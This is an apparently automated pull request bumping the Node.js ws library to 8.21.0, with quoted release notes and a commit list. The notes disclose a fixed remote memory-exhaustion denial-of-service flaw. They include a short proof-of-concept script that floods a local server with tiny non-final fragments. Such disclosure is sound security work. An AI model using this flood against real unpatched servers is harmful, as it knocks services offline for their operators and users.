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chore(deps): bump ws from 8.18.3 to 8.21.0 - #1515

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Bumps ws from 8.18.3 to 8.21.0.

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Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

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Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
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Bumps [ws](https://github.com/websockets/ws) from 8.18.3 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.18.3...8.21.0)

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updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
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